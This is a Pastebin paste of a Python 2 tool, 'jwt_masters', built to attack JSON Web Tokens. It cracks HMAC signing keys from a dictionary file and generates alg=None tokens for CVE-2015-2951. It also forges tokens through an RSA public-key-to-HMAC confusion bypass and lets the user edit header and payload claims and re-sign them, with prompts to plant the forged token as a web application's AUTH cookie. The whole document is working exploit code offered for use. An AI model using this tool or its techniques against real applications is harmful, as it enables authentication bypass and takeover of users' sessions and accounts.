SHARE
TWEET

Untitled

a guest Mar 26th, 2019 83 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #! /usr/bin/python
  2. #
  3. # jwt_masters version 1.1
  4. # Written by Mohamed Salah & Renz Haxor
  5. # Please use responsibly...
  6. # My Facebook: Mohamed Salah
  7. # Renz Haxor Facebook: Renz Haxor
  8. #
  9.  
  10. import sys
  11. import hashlib
  12. import hmac
  13. import base64
  14. import json
  15. from collections import OrderedDict
  16.  
  17. def usage():
  18.     print "Usage: $ python jwt_masters.py <JWT> (filename for dictionary or key file)\n"
  19.     print "If you don't have a token, try this one:"
  20.     print "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po"
  21.     exit(1)
  22.  
  23. def checkSig(sig, contents):
  24.     quiet = False
  25.     print "Type in the key to test"
  26.     key = raw_input("> ")
  27.     testKey(key, sig, contents, headDict, quiet)
  28.  
  29. def checkSigKid(sig, contents):
  30.     quiet = False
  31.     print "\nLoading key file..."
  32.     key1 = open(keyList).read()
  33.     print "File loaded: "+keyList
  34.     testKey(key1, sig, contents, headDict, quiet)
  35.  
  36. def crackSig(sig, contents):
  37.     quiet = True
  38.     print "\nLoading key dictionary..."
  39.     print "File loaded: "+keyList
  40.     print "Testing "+str(numLines)+" passwords..."
  41.     for i in keyLst:
  42.         testKey(i, sig, contents, headDict, quiet)
  43.  
  44. def testKey(key, sig, contents, headDict, quiet):
  45.     if headDict["alg"] == "HS256":
  46.         testSig = base64.urlsafe_b64encode(hmac.new(key,contents,hashlib.sha256).digest()).strip("=")
  47.     elif headDict["alg"] == "HS384":
  48.         testSig = base64.urlsafe_b64encode(hmac.new(key,contents,hashlib.sha384).digest()).strip("=")
  49.     elif headDict["alg"] == "HS512":
  50.         testSig = base64.urlsafe_b64encode(hmac.new(key,contents,hashlib.sha512).digest()).strip("=")
  51.     else:
  52.         print "Algorithm is not HMAC-SHA - cannot test with this tool."
  53.         exit(1)
  54.     if testSig == sig:
  55.         if len(key) > 25:
  56.             print "[+] "+key[0:25]+"...(output trimmed) is the CORRECT key!"
  57.         else:
  58.             print "[+] "+key+" is the CORRECT key!"
  59.         exit(1)
  60.     else:
  61.         if quiet == False:
  62.             if len(key) > 25:
  63.                 print "[-] "+key[0:25]+"...(output trimmed) is not the correct key"
  64.             else:
  65.                 print "[-] "+key+" is not the correct key"
  66.         return
  67.  
  68. def buildHead(alg, headDict):
  69.     newHead = headDict
  70.     newHead["alg"] = alg
  71.     newHead = base64.urlsafe_b64encode(json.dumps(newHead,separators=(",",":"))).strip("=")
  72.     return newHead
  73.  
  74. def signToken(headDict, paylDict, key, keyLength):
  75.     newHead = headDict
  76.     newHead["alg"] = "HS"+str(keyLength)
  77.     if keyLength == 384:
  78.         newContents = base64.urlsafe_b64encode(json.dumps(newHead,separators=(",",":"))).strip("=")+"."+base64.urlsafe_b64encode(json.dumps(paylDict,separators=(",",":"))).strip("=")
  79.         newSig = base64.urlsafe_b64encode(hmac.new(key,newContents,hashlib.sha384).digest()).strip("=")
  80.         badSig = base64.b64encode(hmac.new(key,newContents,hashlib.sha384).digest()).strip("=")
  81.     elif keyLength == 512:
  82.         newContents = base64.urlsafe_b64encode(json.dumps(newHead,separators=(",",":"))).strip("=")+"."+base64.urlsafe_b64encode(json.dumps(paylDict,separators=(",",":"))).strip("=")
  83.         newSig = base64.urlsafe_b64encode(hmac.new(key,newContents,hashlib.sha512).digest()).strip("=")
  84.         badSig = base64.b64encode(hmac.new(key,newContents,hashlib.sha512).digest()).strip("=")
  85.     else:
  86.         newContents = base64.urlsafe_b64encode(json.dumps(newHead,separators=(",",":"))).strip("=")+"."+base64.urlsafe_b64encode(json.dumps(paylDict,separators=(",",":"))).strip("=")
  87.         newSig = base64.urlsafe_b64encode(hmac.new(key,newContents,hashlib.sha256).digest()).strip("=")
  88.         badSig = base64.b64encode(hmac.new(key,newContents,hashlib.sha256).digest()).strip("=")
  89.     return newSig, badSig, newContents
  90.  
  91. def checkCVE(headDict, tok2):
  92.     print "\nGenerating alg-stripped token..."
  93.     alg = "None"
  94.     newHead = buildHead(alg, headDict)
  95.     CVEToken = newHead+"."+tok2+"."
  96.     print "\nSet this new token as the AUTH cookie, or session/local storage data (as appropriate for the web application).\n(This will only be valid on unpatched implementations of JWT.)"
  97.     print "\n"+CVEToken+"\n"
  98.  
  99. def checkPubKey(headDict, tok2):
  100.     print "\nPlease enter the Public Key filename:"
  101.     pubKey = raw_input("> ")
  102.     key = open(pubKey).read()
  103.     newHead = headDict
  104.     newHead["alg"] = "HS256"
  105.     print tok2
  106.     newHead = base64.urlsafe_b64encode(json.dumps(headDict,separators=(",",":"))).strip("=")
  107.     newTok = newHead+"."+tok2
  108.     newSig = base64.urlsafe_b64encode(hmac.new(key,newTok,hashlib.sha256).digest()).strip("=")
  109.     print "\nSet this new token as the AUTH cookie, or session/local storage data (as appropriate for the web application).\n(This will only be valid on unpatched implementations of JWT.)"
  110.     print "\n"+newTok+"."+newSig
  111.  
  112. def tamperToken(paylDict, headDict):
  113.     print "\nToken header values:"
  114.     while True:
  115.         i = 0
  116.         headList = [0]
  117.         for pair in headDict:
  118.             menuNum = i+1
  119.             print "["+str(menuNum)+"] "+pair+" = "+str(headDict[pair])
  120.             headList.append(pair)
  121.             i += 1
  122.         print "["+str(i+1)+"] *ADD A VALUE*"
  123.         print "[0] Continue to next step"
  124.         selection = ""
  125.         print "\nPlease select a field number:\n(or 0 to Continue)"
  126.         selection = input("> ")
  127.         if selection<len(headList) and selection>0:
  128.             print "\nCurrent value of "+headList[selection]+" is: "+str(headDict[headList[selection]])
  129.             print "Please enter new value and hit ENTER"
  130.             newVal = raw_input("> ")
  131.             headDict[headList[selection]] = newVal
  132.         elif selection == i+1:
  133.             print "Please enter new Key and hit ENTER"
  134.             newPair = raw_input("> ")
  135.             print "Please enter new value for "+newPair+" and hit ENTER"
  136.             newVal = raw_input("> ")
  137.             headList.append(newPair)
  138.             headDict[headList[selection]] = newVal
  139.         elif selection == 0:
  140.             break
  141.         else:
  142.             exit(1)
  143.     print "\nToken payload values:"
  144.     while True:
  145.         i = 0
  146.         paylList = [0]
  147.         for pair in paylDict:
  148.             menuNum = i+1
  149.             print "["+str(menuNum)+"] "+pair+" = "+str(paylDict[pair])
  150.             paylList.append(pair)
  151.             i += 1
  152.         print "[0] Continue to next step"
  153.         selection = ""
  154.         print "\nPlease select a field number:\n(or 0 to Continue)"
  155.         selection = input("> ")
  156.         if selection<len(paylList) and selection>0:
  157.             print "\nCurrent value of "+paylList[selection]+" is: "+str(paylDict[paylList[selection]])
  158.             print "Please enter new value and hit ENTER"
  159.             newVal = raw_input("> ")
  160.             paylDict[paylList[selection]] = newVal
  161.         elif selection == 0:
  162.             break
  163.         else:
  164.             exit(1)
  165.     print "\nToken Signing:"
  166.     print "[1] Sign token with known key"
  167.     print "[2] Strip signature from token vulnerable to CVE-2015-2951"
  168.     print "[3] Sign with Public Key bypass vulnerability"
  169.     print "[4] Sign token with key file"
  170.     print "\nPlease select an option from above (1-4):"
  171.     selection = input("> ")
  172.     if selection == 1:
  173.         print "\nPlease enter the known key:"
  174.         key = raw_input("> ")
  175.         print "\nPlease enter the keylength:"
  176.         print "[1] HMAC-SHA256"
  177.         print "[2] HMAC-SHA384"
  178.         print "[3] HMAC-SHA512"
  179.         selLength = raw_input("> ")
  180.         if selLength == "2":
  181.             keyLength = 384
  182.         elif selLength == "3":
  183.             keyLength = 512
  184.         else:
  185.             keyLength = 256
  186.         newSig, badSig, newContents = signToken(headDict, paylDict, key, keyLength)
  187.         print "\nYour new forged token:"
  188.         print "[+] URL safe: "+newContents+"."+newSig
  189.         print "[+] Standard: "+newContents+"."+badSig+"\n"
  190.         exit(1)
  191.     elif selection == 2:
  192.         print "\nStripped Signature"
  193.         tok2 = base64.urlsafe_b64encode(json.dumps(paylDict,separators=(",",":"))).strip("=")
  194.         checkCVE(headDict, tok2)
  195.         exit(1)
  196.     elif selection == 3:
  197.         tok2 = base64.urlsafe_b64encode(json.dumps(paylDict,separators=(",",":"))).strip("=")
  198.         checkPubKey(headDict, tok2)
  199.         exit(1)
  200.     if selection == 4:
  201.         if keyList == "":
  202.             print "No dictionary file provided."
  203.             usage()
  204.         else:
  205.             print "\nLoading key file..."
  206.             key1 = open(keyList).read()
  207.             print "File loaded: "+keyList
  208.             print "\nPlease enter the keylength:"
  209.             print "[1] HMAC-SHA256"
  210.             print "[2] HMAC-SHA384"
  211.             print "[3] HMAC-SHA512"
  212.             selLength = raw_input("> ")
  213.             if selLength == "2":
  214.                 keyLength = 384
  215.             elif selLength == "3":
  216.                 keyLength = 512
  217.             else:
  218.                 keyLength = 256
  219.             newSig, badSig, newContents = signToken(headDict, paylDict, key1, keyLength)
  220.             print "\nYour new forged token:"
  221.             print "[+] URL safe: "+newContents+"."+newSig
  222.             print "[+] Standard: "+newContents+"."+badSig+"\n"
  223.             exit(1)
  224.     else:
  225.         exit(1)
  226.  
  227.  
  228. if __name__ == '__main__':
  229. # Print logo
  230.     print "\n,----.,----.,----.,----.,----.,----.,----.,----.,----.,----."
  231.     print "----''----''----''----''----''----''----''----''----''----'"
  232.     print "     ,--.,--.   ,--.,--------.,--------.             ,--."
  233.     print "     |  ||  |   |  |'--.  .--''--.  .--',---.  ,---. |  |"
  234.     print ",--. |  ||  |.'.|  |   |  |      |  |  | .-. || .-. ||  |"
  235.     print "|  '-'  /|   ,'.   |   |  |,----.|  |  ' '-' '' '-' '|  |"
  236.     print " `-----' '--'   '--'   `--''----'`--'   `---'  `---' `--'"
  237.     print ",----.,----.,----.,----.,----.,----.,----.,----.,----.,----."
  238.     print "'----''----''----''----''----''----''----''----''----''----'"
  239.  
  240. # Print usage + check token validity
  241.     if len(sys.argv) < 2:
  242.         usage()
  243.  
  244. # Temporary variables
  245.     jwt = sys.argv[1]
  246.     key = ""
  247.     if len(sys.argv) == 3:
  248.         keyList = sys.argv[2]
  249.         numLines = sum(1 for line in open(keyList) if line.rstrip())
  250.         with open(keyList, "r") as f:
  251.             keyLst = f.readlines()
  252.         keyLst = [x.strip() for x in keyLst]
  253.     else:
  254.         keyList = ""
  255.  
  256. # Rejig token
  257.     try:
  258.         tok1, tok2, sig = jwt.split(".",3)
  259.         sig = base64.urlsafe_b64encode(base64.urlsafe_b64decode(sig + "=" * (-len(sig) % 4))).strip("=")
  260.         contents = tok1+"."+tok2
  261.         head = base64.b64decode(tok1 + "=" * (-len(tok1) % 4))
  262.         payl = base64.b64decode(tok2 + "=" * (-len(tok2) % 4))
  263.         headDict = json.loads(head, object_pairs_hook=OrderedDict)
  264.         paylDict = json.loads(payl, object_pairs_hook=OrderedDict)
  265.     except:
  266.         print "Oh noes! Invalid token"
  267.         exit(1)
  268.  
  269. # Main menu
  270.     print "\nToken header values:"
  271.     for i in headDict:
  272.         print "[+] "+i+" = "+str(headDict[i])
  273.     print "\nToken payload values:"
  274.     for i in paylDict:
  275.         print "[+] "+i+" = "+str(paylDict[i])
  276.     print "\n######################################################"
  277.     print "# Options:                                           #"
  278.     print "# 1: Check CVE-2015-2951 - alg=None vulnerability    #"
  279.     print "# 2: Check for Public Key bypass in RSA mode         #"
  280.     print "# 3: Check signature against a key                   #"
  281.     print "# 4: Check signature against a key file (\"kid\")      #"
  282.     print "# 5: Crack signature with supplied dictionary file   #"
  283.     print "# 6: Tamper with payload data (key required to sign) #"
  284.     print "# 0: Quit                                            #"
  285.     print "######################################################"
  286.     print "\nPlease make a selection (1-6)"
  287.     selection = input("> ")
  288.     if selection == 1:
  289.         checkCVE(headDict, tok2)
  290.     elif selection == 2:
  291.         checkPubKey(headDict, tok2)
  292.     elif selection == 3:
  293.         checkSig(sig, contents)
  294.     elif selection == 4:
  295.         if keyList != "":
  296.             checkSigKid(sig, contents)
  297.         else:
  298.             print "No dictionary file provided."
  299.             usage()
  300.     elif selection == 5:
  301.         if keyList != "":
  302.             crackSig(sig, contents)
  303.         else:
  304.             print "No dictionary file provided."
  305.             usage()
  306.     elif selection == 6:
  307.         tamperToken(paylDict, headDict)
  308.     else:
  309.         exit(1)
  310.     exit(1)
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top